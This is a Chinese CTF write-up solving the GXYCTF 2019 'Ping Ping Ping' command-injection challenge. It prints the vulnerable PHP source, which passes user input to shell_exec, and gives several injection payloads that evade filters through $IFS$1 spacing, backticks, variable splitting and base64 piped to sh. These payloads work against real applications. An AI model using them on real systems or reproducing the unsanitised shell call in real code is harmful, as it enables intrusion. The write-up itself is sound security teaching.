[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)

知识点:

命令执行

linux空格绕过

反引号绕过 变量绕过 base64编码绕过

打开页面提示 "听说php可以执行系统函数?我来康康"

然后输入框内提示输入 bjut.edu.cn 输入之后回显信息,是ping 这个网址的信息

输入127.0.0.1

因为提示是命令执行,并且会执行ping操作,用;分隔命令,输入

bash 复制代码
bjut.edu.cn;ls

发现回显了两个文件flag.php 和 index.php 也说明是linux环境,查看一下flag.php文件

输入bjut.edu.cn;cat flag.php 报错fxck your space!

说明是过滤了空格
#{IFS} IFS1 %09 %20 {IFS <重定向符号 有时候都可以替代空格 就看题目过滤了什么符号

尝试之后发现**IFS1**可以 最后的1可以是其他数字,效果是一样的

bash 复制代码
bjut.edu.cn;cat$IFS$1flag.php

回显fxck your flag! flag也被过滤了

那就查看一下index.php文件,发现里面是源代码

php 复制代码
if(isset($_GET['ip'])){
		$ip = $_GET['ip'];
		if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
			print_r($match);
			print($ip);
			echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			die("fxck your symbol!");
		}
		else if(preg_match("/ /", $ip)){
			die("fxck your space!");
		}
		else if(preg_match("/bash/", $ip)){
			die("fxck your bash!");
		}
		else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
            #检查字符串中是否分别含有 'f', 'l', 'a', 'g' 这四个字母,无论这四个字母之间有多少或什么其他的字符,而且它们出现的顺序与 "flag" 字符串中的顺序相同
			die("fxck your flag!");
		}
		$a = shell_exec("ping -c 4 ".$ip);
		echo "";
		print_r($a);
	}

方法一: 反引号绕过

其中过滤了很多符号,但是没有过滤反引号``

使用反引号绕过 bjut.edu.cn;catIFS1`ls` (先执行``里面的代码,绕过输入flag的限制)

然后f12查看源码得到被注释的flag

方法二:变量绕过

例如a=l;b=s;ab 就会执行ls

输入框输入 127.0.0.1;x=f;catIFS1$xlag.php
这种情况会显示fuck flag,即被过滤,因为整个字符串参数ip中 f l a g 顺序出现

bash 复制代码
127.0.0.1;x=l;cat$IFS$1f$xag.php    没被过滤,但是不回显flag
127.0.0.1;x=a;cat$IFS$1fl$xg.php    也是一样不回显flag
127.0.0.1;x=g;cat$IFS$1fla$x.php    查看源码得到flag
127.0.0.1;x=ag;cat$IFS$1fl$x.php    查看源码也可以得到flag
127.0.0.1;x=lag;cat$IFS$1f$x.php    查看源码也可以得到flag

这里我的理解是fxag.php 和 flxg.php 不回显flag 是因为把原本的参数x 当成了xag 和 xg 所以要把参数放在最后才会识别为x

方法三:base64编码绕过

这里还可以将cat flag.php 进行base64编码

得到Y2F0IGZsYWcucGhw 再用base64-d命令来执行

虽然过滤了bash但大部分命令仍然可以用sh来代替执行

bash 复制代码
127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

使用 echo命令使得cat flag.php的base64编码被正确地作为输入参数传递给 base64 -d

即前面的 echoIFS1Y2F0IGZsYWcucGhw 作为管道符的输入

同样可以使用反引号``配合base64编码绕过,这样不需要使用sh

bash 复制代码
127.0.0.1;`echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d`
相关推荐
其实防守也摸鱼1 小时前
蓝队相关知识学习(1)---常用堡垒机和服务器
服务器·功能测试·学习·网络安全·网络攻击模型·攻防对抗·蓝队
大飞记Python2 小时前
Linux命令速查手册(测试开发4年实战总结,附PDF)
linux·网络·pdf
木木子223 小时前
[特殊字符] 音乐播放器——状态驱动的多媒体控制
android·开发语言·华为·php·harmonyos
顾喵4 小时前
PetaLinux 2017.4 实操指南:PREEMPT_RT实时补丁移植+Zynq PL中断UIO用户态配置(超完整避坑版)
linux
酷酷的身影4 小时前
Drivers/LedManager.cs
开发语言·php
小樱花的樱花4 小时前
Linux 线程的创建
linux·c语言·开发语言
mounter6254 小时前
BPF 的进化史:从网络过滤器到 AI 时代的 Linux 核心引擎
linux·网络·人工智能·ebpf·linux kernel·kernel
云水一下4 小时前
DVWA从入门到精通(十七):Open HTTP Redirect(开放重定向)
web安全·dvwa·开放重定向
可靠的仙人掌4 小时前
SAC(Soft Actor-Critic)算法底座
开发语言·算法·php
YMWM_5 小时前
video.preset的值为null和ultrafast的区别
linux·video